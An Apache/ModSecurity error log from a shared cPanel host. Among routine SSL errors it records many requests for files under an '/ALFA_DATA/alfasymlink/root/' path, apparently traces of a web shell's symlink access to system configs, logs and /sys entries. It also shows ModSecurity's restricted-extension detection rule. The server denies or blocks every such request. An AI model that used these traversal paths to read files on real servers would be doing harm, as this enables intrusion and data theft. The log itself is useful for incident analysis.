[Sun Oct 25 15:33:07.043539 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 34.192.67.98:36833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:11.077738 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 54.235.172.96:13867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:14.940131 2026] [ssl:error] [pid 2887626:tid 2887626] (5)Input/output error: [client 44.207.69.106:36319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:22.969162 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 34.202.88.37:47974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:30.930718 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 3.227.180.70:29177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:32.903867 2026] [security2:error] [pid 2887459:tid 2887459] [client 107.172.76.131:64130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5ZgHARVqJVeEfCE8kQygAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:33:32.903932 2026] [security2:error] [pid 2887459:tid 2887459] [client 107.172.76.131:64130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5ZgHARVqJVeEfCE8kQygAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:33:33.064586 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 185.191.171.7:49988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:34.868028 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 54.197.102.71:48056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:33:46.893194 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 52.205.222.214:39450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:06.888967 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 18.214.124.6:34742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:18.945822 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 18.205.213.231:65014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:26.473427 2026] [ssl:error] [pid 2887568:tid 2887568] (70014)End of file found: [client 18.215.49.176:5055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:38.549817 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 54.210.152.179:53258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:42.344863 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 50.19.221.48:8192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:46.326985 2026] [ssl:error] [pid 2889600:tid 2889600] (70014)End of file found: [client 34.234.197.175:37602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:50.313383 2026] [ssl:error] [pid 2887568:tid 2887568] (70014)End of file found: [client 34.206.212.24:45992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:54.485143 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 52.21.62.139:28465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:34:56.951844 2026] [security2:error] [pid 2889754:tid 2889754] [client 16.216.88.35:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5Z4FKRaRBDw45DJGjfEwAAAAM"]
[Sun Oct 25 15:34:56.952409 2026] [security2:error] [pid 2889754:tid 2889754] [client 16.216.88.35:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5Z4FKRaRBDw45DJGjfEwAAAAM"]
[Sun Oct 25 15:34:56.952849 2026] [security2:error] [pid 2889754:tid 2889754] [client 16.216.88.35:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5Z4FKRaRBDw45DJGjfEwAAAAM"]
[Sun Oct 25 15:35:02.147236 2026] [security2:error] [pid 2889287:tid 2889287] [client 107.172.76.131:64129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5Z12FV96rJYXEkIA1ndQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:35:02.147297 2026] [security2:error] [pid 2889287:tid 2889287] [client 107.172.76.131:64129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5Z12FV96rJYXEkIA1ndQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:35:18.261132 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 54.80.185.200:39068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:35:34.184027 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 52.202.233.37:38789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:35:38.289369 2026] [ssl:error] [pid 2889353:tid 2889353] (5)Input/output error: [client 18.209.137.234:21428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:35:50.230316 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 3.216.13.10:20538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:35:58.451356 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 18.235.158.19:12922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:02.219537 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 52.71.46.142:33001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:05.686504 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 85.208.96.200:21136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:18.191723 2026] [ssl:error] [pid 2887616:tid 2887616] (5)Input/output error: [client 3.93.211.16:38323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:29.791719 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 85.208.96.211:21342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/object_size
[Sun Oct 25 15:36:30.184136 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 52.200.93.170:29884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:42.285018 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 44.216.172.204:19138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:43.008841 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 185.191.171.13:35920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/shrink
[Sun Oct 25 15:36:46.450564 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 3.230.224.6:20006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:36:50.183865 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 3.221.156.96:46716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:14.161765 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.216.13.10:54522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:22.191141 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 54.80.185.200:27202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:26.222947 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 18.205.213.231:21640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:30.337108 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 54.85.126.86:36788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:42.168525 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 184.72.84.154:17267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:50.251789 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 52.3.102.51:29548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:37:51.785243 2026] [core:error] [pid 2889357:tid 2889357] (13)Permission denied: [client 185.191.171.11:13612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/free_calls
[Sun Oct 25 15:37:58.175142 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 3.212.219.113:27443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:38:06.203175 2026] [ssl:error] [pid 2889337:tid 2889337] (70014)End of file found: [client 3.81.253.213:27048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:38:06.642604 2026] [authz_core:error] [pid 2889267:tid 2889267] [client 94.154.43.99:64304] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:38:14.203550 2026] [core:error] [pid 2889357:tid 2889357] (13)Permission denied: [client 35.171.141.42:39799] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/rescan
[Sun Oct 25 15:38:22.175875 2026] [core:error] [pid 2889337:tid 2889337] (13)Permission denied: [client 44.216.172.204:35350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/driver/cpu1/node0/compact
[Sun Oct 25 15:38:26.461344 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 3.90.73.206:6098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:38:39.348803 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 85.208.96.209:16942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/slabs_cpu_partial
[Sun Oct 25 15:38:41.504330 2026] [core:error] [pid 2889337:tid 2889337] (13)Permission denied: [client 85.208.96.210:52396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/slabs
[Sun Oct 25 15:38:42.273876 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 44.210.204.255:19014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/module/sections/__mcount_loc
[Sun Oct 25 15:38:58.221447 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 100.25.120.246:7932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:06.285273 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 23.21.225.190:44383] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory9/node0/compact
[Sun Oct 25 15:39:10.203820 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 23.23.104.107:37851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:26.195818 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 34.192.67.98:31099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:30.251786 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 44.194.134.53:26745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:34.182206 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 44.194.139.149:30776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:38.197719 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 44.195.50.71:35602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:42.175075 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 44.215.231.15:17740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:39:44.797540 2026] [core:error] [pid 2889337:tid 2889337] (13)Permission denied: [client 85.208.96.204:13676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/reclaim_account
[Sun Oct 25 15:39:50.239116 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 44.212.232.231:6147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:02.181871 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 44.212.131.50:31117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:06.174428 2026] [ssl:error] [pid 2889353:tid 2889353] (5)Input/output error: [client 34.199.252.22:46102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:08.957928 2026] [security2:error] [pid 2889344:tid 2889344] [client 85.208.96.200:40552] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5bGNKX2UxtP-t1n16sygAAADs"]
[Sun Oct 25 15:40:08.958643 2026] [security2:error] [pid 2889344:tid 2889344] [client 85.208.96.200:40552] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5bGNKX2UxtP-t1n16sygAAADs"]
[Sun Oct 25 15:40:08.959127 2026] [security2:error] [pid 2889344:tid 2889344] [client 85.208.96.200:40552] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5bGNKX2UxtP-t1n16sygAAADs"]
[Sun Oct 25 15:40:10.648412 2026] [core:error] [pid 2887616:tid 2887616] (13)Permission denied: [client 185.191.171.16:55546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/irq
[Sun Oct 25 15:40:14.262723 2026] [ssl:error] [pid 2889337:tid 2889337] (70014)End of file found: [client 54.225.181.161:61497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:18.217257 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 54.92.171.106:57719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:22.170286 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 18.211.148.239:53764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/ACPI0010:00/LNXCPU:01/eject
[Sun Oct 25 15:40:27.530006 2026] [core:error] [pid 2889357:tid 2889357] (13)Permission denied: [client 85.208.96.193:43160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/remote_node_defrag_ratio
[Sun Oct 25 15:40:31.341944 2026] [core:error] [pid 2889348:tid 2889348] (13)Permission denied: [client 185.191.171.15:11058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/cache_dma
[Sun Oct 25 15:40:34.162213 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 100.29.34.97:48047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:42.155537 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 98.82.66.172:65190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:40:50.160917 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 54.84.93.8:45689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:41:06.192512 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 54.83.56.1:15087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:41:18.216125 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 18.215.112.101:28401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:41:18.441284 2026] [security2:error] [pid 2889359:tid 2889359] [client 16.216.88.157:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system.conf"] [unique_id "at5bXtsSLPpDQdwbdhd4UAAAAEs"]
[Sun Oct 25 15:41:18.442063 2026] [security2:error] [pid 2889359:tid 2889359] [client 16.216.88.157:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system.conf"] [unique_id "at5bXtsSLPpDQdwbdhd4UAAAAEs"]
[Sun Oct 25 15:41:18.442589 2026] [security2:error] [pid 2889359:tid 2889359] [client 16.216.88.157:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system.conf"] [unique_id "at5bXtsSLPpDQdwbdhd4UAAAAEs"]
[Sun Oct 25 15:41:30.177153 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 34.224.132.215:29909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:41:34.308663 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 3.213.213.161:39056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:41:38.170267 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.22.64.232:53361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:42:06.048921 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 85.208.96.203:35706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/partial
[Sun Oct 25 15:42:22.159409 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 18.211.39.188:22252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:42:30.158406 2026] [ssl:error] [pid 2887616:tid 2887616] (70014)End of file found: [client 54.80.73.122:63930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:42:37.397971 2026] [core:error] [pid 2889304:tid 2889304] (13)Permission denied: [client 185.191.171.2:37426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/slabs_cpu_partial
[Sun Oct 25 15:42:50.157993 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 54.89.90.224:18071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:42:51.912208 2026] [core:error] [pid 2887616:tid 2887616] (13)Permission denied: [client 185.191.171.11:19118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/red_zone
[Sun Oct 25 15:42:57.275397 2026] [core:error] [pid 2889304:tid 2889304] (13)Permission denied: [client 185.191.171.18:37468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/objects
[Sun Oct 25 15:42:58.161810 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 3.212.219.113:41345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:02.159681 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 44.205.192.249:42852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:10.208815 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 184.73.239.35:33347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:15.389433 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 34.204.150.196:12082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:34.224380 2026] [ssl:error] [pid 2885094:tid 2885094] (5)Input/output error: [client 52.1.106.130:33930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:42.244166 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 52.45.77.169:21107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:47.004413 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 34.230.124.21:3750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:50.159454 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 34.239.85.139:31084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:43:54.151549 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 52.200.93.170:64925] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/uevent
[Sun Oct 25 15:44:00.723257 2026] [core:error] [pid 2889314:tid 2889314] (13)Permission denied: [client 85.208.96.210:60134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/min_partial
[Sun Oct 25 15:44:02.227371 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 18.214.124.6:54267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:22.209549 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.0.41.164:61719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:26.244120 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 52.70.138.176:48149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:30.155217 2026] [ssl:error] [pid 2889285:tid 2889285] (5)Input/output error: [client 52.44.229.124:37086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:34.207584 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 34.225.243.131:42079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:38.160793 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 34.224.132.215:39193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:42.212416 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.223.116.180:61496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:44:54.194928 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 98.82.214.73:2329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:45:06.201402 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 18.210.58.238:36132] AH02013: coalesce failed to read from data bucket
